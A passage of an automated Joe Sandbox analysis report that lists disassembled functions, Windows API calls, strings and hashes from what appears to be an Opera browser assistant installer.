                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1353541977-0
                                                                                                                                                                                                                • Opcode ID: f6b0f53216d2096cd9c662a4f25e5f8c0ce359872faacda590a16eec1ba89855
                                                                                                                                                                                                                • Instruction ID: 73b812ea3a2c21f36a07cf2745fdcd2c65e0ba198212c1eaf53cec97553166db
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f6b0f53216d2096cd9c662a4f25e5f8c0ce359872faacda590a16eec1ba89855
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A9411871A00624EBDB10EF68AC49BAF77A8FB44714F14022AF855E73C0DB359980C7E6
                                                                                                                                                                                                                Function 006FE648 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strncpy.LIBCMT ref: 006FE6F1
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006FE738
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006FE7B7
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_strlen_strncpy
                                                                                                                                                                                                                • String ID: %s%s %s$%s:%s$[%03u.%03u] $[printf format error]
                                                                                                                                                                                                                • API String ID: 3471477319-1858063255
                                                                                                                                                                                                                • Opcode ID: 581ffc3b64c413e8d1275aaa662a0ec3ee9c543d77024e89a5c51cbbeb2514af
                                                                                                                                                                                                                • Instruction ID: da341109d7d5b7fbbe0a39ab12d82cf44a7714544783d1c9ac0d727d8d6d4198
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 581ffc3b64c413e8d1275aaa662a0ec3ee9c543d77024e89a5c51cbbeb2514af
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2E5118B2A003446BE710AF28DC42F6BBBADEFD5310F04052DF955D7292EA71D51486A7
                                                                                                                                                                                                                Function 007B2F68 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 148COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: has duplicate key $ requires KEY=VALUE$!#{$, discarding value $../../third_party/crashpad/crashpad/handler/handler_main.cc
                                                                                                                                                                                                                • API String ID: 4218353326-17233697
                                                                                                                                                                                                                • Opcode ID: f0042e727f74267ad765bacb5ab363ed5deb89041875708b56de284edd3c031e
                                                                                                                                                                                                                • Instruction ID: 9bc87d59ea1f81ab80b9b8eafec1a3d328784faa3b218a02e383c8792a418eb5
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f0042e727f74267ad765bacb5ab363ed5deb89041875708b56de284edd3c031e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1D414AB1804354BBE620BB14DC06FABBBA9EF91740F04441DF98867243E6756609C7A3
                                                                                                                                                                                                                Function 006F3C9C Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 111processCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateProcessW.KERNEL32 ref: 006F3D83
                                                                                                                                                                                                                • GetLastError.KERNEL32(../../opera/desktop/windows/assistant/installer/assistant_installer.cc,000000FF,00000002), ref: 006F3DE6
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateErrorLastProcess
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/assistant/installer/assistant_installer.cc$CreateProcess failed w/err $D$Running Assistant$browser_assistant.exe
                                                                                                                                                                                                                • API String ID: 2919029540-1647775276
                                                                                                                                                                                                                • Opcode ID: 337cbcecb198fd2974f28ee4ddc1f00de941d617586acbb6cafc7e319a8da5f6
                                                                                                                                                                                                                • Instruction ID: 453dffd8b45769c60112f87eb291d7e199ffb973d86cddb9d0658bff33071392
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 337cbcecb198fd2974f28ee4ddc1f00de941d617586acbb6cafc7e319a8da5f6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5E410A71E0474497E320AB3098467AFB7D1BFC8710F004A2DFAD4A7382EB749545C683
                                                                                                                                                                                                                Function 007E7776 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 108registryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • RegisterWaitForSingleObject.KERNEL32(?,?,?,?,000000FF,00000000), ref: 007E779F
                                                                                                                                                                                                                • RegisterWaitForSingleObject.KERNEL32(00000000,?,?,?,000000FF,00000000), ref: 007E77FD
                                                                                                                                                                                                                • RegisterWaitForSingleObject.KERNEL32(?,?,?,?,000000FF,00000008), ref: 007E7858
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • RegisterWaitForSingleObject crash dump requested, xrefs: 007E77D8
                                                                                                                                                                                                                • RegisterWaitForSingleObject non-crash dump requested, xrefs: 007E7836
                                                                                                                                                                                                                • RegisterWaitForSingleObject process end, xrefs: 007E7891
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc, xrefs: 007E77C6, 007E7824, 007E787F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ObjectRegisterSingleWait
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc$RegisterWaitForSingleObject crash dump requested$RegisterWaitForSingleObject non-crash dump requested$RegisterWaitForSingleObject process end
                                                                                                                                                                                                                • API String ID: 1092942010-4009962794
                                                                                                                                                                                                                • Opcode ID: e83a0640edfb2b1ab2e698724dfc45f63652f158a26138d2c31721e674fdeb67
                                                                                                                                                                                                                • Instruction ID: aafe13b6d69325b97c15a19de6cbe298d84cfdc6b6cd278c2d48584f0cb7d097
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e83a0640edfb2b1ab2e698724dfc45f63652f158a26138d2c31721e674fdeb67
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9431F831740318ABEE24BB658C4FFAF771ABF54710F044129F619AA2C3DB78A904C652
                                                                                                                                                                                                                Function 0071792A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 101COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007179A6
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717A03
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717A30
                                                                                                                                                                                                                  • Part of subcall function 00717C46: _strlen.LIBCMT ref: 00717C88
                                                                                                                                                                                                                  • Part of subcall function 00717C46: _strlen.LIBCMT ref: 00717CAE
                                                                                                                                                                                                                  • Part of subcall function 00717C46: _strlen.LIBCMT ref: 00717CF2
                                                                                                                                                                                                                  • Part of subcall function 00717C46: _strlen.LIBCMT ref: 00717D29
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: HKCU$HKLM$registry$uq
                                                                                                                                                                                                                • API String ID: 4218353326-3707365061
                                                                                                                                                                                                                • Opcode ID: c91429a135c2a9100d153432af4a3317cfcb0a00a2ae72122a4c64da740f62d0
                                                                                                                                                                                                                • Instruction ID: 08da0ca34f564e72c26540d4f88a0cddf64b3b3c6d464336de74e8f9d9a4c5c2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c91429a135c2a9100d153432af4a3317cfcb0a00a2ae72122a4c64da740f62d0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 473172B1E002159BDB14EFB8988656EB7F9FB48320F044439E859D7342EB74AD548BE2
                                                                                                                                                                                                                Function 007532A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 84fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNEL32 ref: 00753330
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00753341
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00753357
                                                                                                                                                                                                                • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00753370
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 0075339B
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$File$CreateWrite
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$WriteFile
                                                                                                                                                                                                                • API String ID: 148983963-2054578350
                                                                                                                                                                                                                • Opcode ID: d1490b3a565305ee5c6a02e2b6152c2f1a4bf022c73a325ed08010d382f2e5e4
                                                                                                                                                                                                                • Instruction ID: e9c17b30db139b0b69dc361c15d16d0678e4853cab63d1141dd49c53535bc4b9
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d1490b3a565305ee5c6a02e2b6152c2f1a4bf022c73a325ed08010d382f2e5e4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3B31C4715043809BD710AF28CC4966EB7A8FFC5731F150B1DF9A0932D1DBB4A9488782
                                                                                                                                                                                                                Function 00756E30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 84synchronizationthreadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetThreadId.KERNEL32(?), ref: 00756E4A
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00756E60
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00756F00
                                                                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00756F0D
                                                                                                                                                                                                                • CloseHandle.KERNEL32(?,?), ref: 00756F46
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • Join, xrefs: 00756EE1
                                                                                                                                                                                                                • ../../base/threading/platform_thread_win.cc, xrefs: 00756EDC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseHandle$ErrorLastObjectSingleThreadWait
                                                                                                                                                                                                                • String ID: ../../base/threading/platform_thread_win.cc$Join
                                                                                                                                                                                                                • API String ID: 2286813250-821740204
                                                                                                                                                                                                                • Opcode ID: 3eb58f8166e9656471b06174a6c8e1c2bd7f268853430c621a28295950f6d307
                                                                                                                                                                                                                • Instruction ID: a25b0a11fa9a2849b9ff139d88409585baba9fbf54c8d670256aa40107578855
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3eb58f8166e9656471b06174a6c8e1c2bd7f268853430c621a28295950f6d307
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AD21B4714043859BD710EF68DC0A9AEBBA9FF85370F104B1DF9A5862D1EB749644CB83
                                                                                                                                                                                                                Function 007523C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(006F3FCC,?,00000000), ref: 00752430
                                                                                                                                                                                                                • CreateFileW.KERNEL32(006F3FCC,006F3FCC,00000007,00000000,00000003,02000000,00000000,?,00000000), ref: 00752459
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,00000000), ref: 00752465
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,00000000), ref: 00752478
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000,?,00000000), ref: 00752491
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../base/files/file_util_win.cc, xrefs: 00752408
                                                                                                                                                                                                                • PathHasAccess, xrefs: 0075240D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$File$AttributesCreate
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$PathHasAccess
                                                                                                                                                                                                                • API String ID: 3969751566-2396493888
                                                                                                                                                                                                                • Opcode ID: df5a55172dba39a1feac23a9b4541f1b0e2cefda750b8b922ced6cc6bb623792
                                                                                                                                                                                                                • Instruction ID: 38c92554ae9fbeb53f33eb4bb14b09f758ed21a1907b1e970dbae1f052d0774b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: df5a55172dba39a1feac23a9b4541f1b0e2cefda750b8b922ced6cc6bb623792
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 52212D71504380ABE710AB38DC8AB7E7765FFC6731F140719F9A5961C2EFA8AD0586C2
                                                                                                                                                                                                                Function 00758440 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0075848D
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0073A24E,00000004,?), ref: 007584AF
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 007584BB
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 007584CE
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007584F9
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressCurrentHandleInit_thread_footerInit_thread_headerModuleProcProcess
                                                                                                                                                                                                                • String ID: GetProcessMitigationPolicy$kernel32.dll
                                                                                                                                                                                                                • API String ID: 3099737979-1680159014
                                                                                                                                                                                                                • Opcode ID: c52cf814df864373b76da0b5aef90aab78fee33ce73cbc40d0a12d646723b08e
                                                                                                                                                                                                                • Instruction ID: 488005b054fd8081c5d4f80690c2aca58a7d9bac8d076275cb9b4c157af867d2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c52cf814df864373b76da0b5aef90aab78fee33ce73cbc40d0a12d646723b08e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 21115770A812459FEB14AB78ED1AAA93764FB42322F180029ED46D7281CFB95808CB53
                                                                                                                                                                                                                Function 00710EA0 Relevance: 12.3, APIs: 8, Instructions: 288memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FreeSid.ADVAPI32(00000000), ref: 007110A2
                                                                                                                                                                                                                • SetEntriesInAclW.ADVAPI32(00000001,?,?,00000000), ref: 007110BD
                                                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 007110D1
                                                                                                                                                                                                                • SetNamedSecurityInfoW.ADVAPI32 ref: 00711133
                                                                                                                                                                                                                • FreeSid.ADVAPI32(?), ref: 00711189
                                                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 007111B1
                                                                                                                                                                                                                • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000004,?,?,00710DE5), ref: 0071122C
                                                                                                                                                                                                                  • Part of subcall function 00711273: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000004,?,?,00710DA3), ref: 007112C3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Free$AllocateInitializeLocal$EntriesInfoNamedSecurity
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1499235685-0
                                                                                                                                                                                                                • Opcode ID: 663396f403c54169c5bdfb1e6a28eeedaab350fd614b5517d46e51af07891e4b
                                                                                                                                                                                                                • Instruction ID: 878973936ee1e4e825ac925d9d940f31dc82208fc71d3010d13bd552b46dae28
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 663396f403c54169c5bdfb1e6a28eeedaab350fd614b5517d46e51af07891e4b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 71B1AD71A083419FC710DF28D48166EFBF5BF88710F444A2EFA8597290E778E984CB82
                                                                                                                                                                                                                Function 007100E0 Relevance: 12.1, APIs: 8, Instructions: 119memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 007100FC
                                                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,0000000A,?), ref: 00710106
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: GetLastError.KERNEL32(00000000,?,-00000001,?,007012C9,00000000), ref: 00701BAB
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: SetLastError.KERNEL32(00000000,?,007012C9,00000000), ref: 00701BCA
                                                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000012(TokenIntegrityLevel),?,00000004,?,?), ref: 0071014E
                                                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000013(TokenIntegrityLevel),?,00000004,?), ref: 00710174
                                                                                                                                                                                                                • DuplicateToken.ADVAPI32(?,00000001,?,?), ref: 00710193
                                                                                                                                                                                                                • AllocateAndInitializeSid.ADVAPI32 ref: 007101F1
                                                                                                                                                                                                                • CheckTokenMembership.ADVAPI32(?,?,?), ref: 00710208
                                                                                                                                                                                                                • FreeSid.ADVAPI32(?), ref: 0071021C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
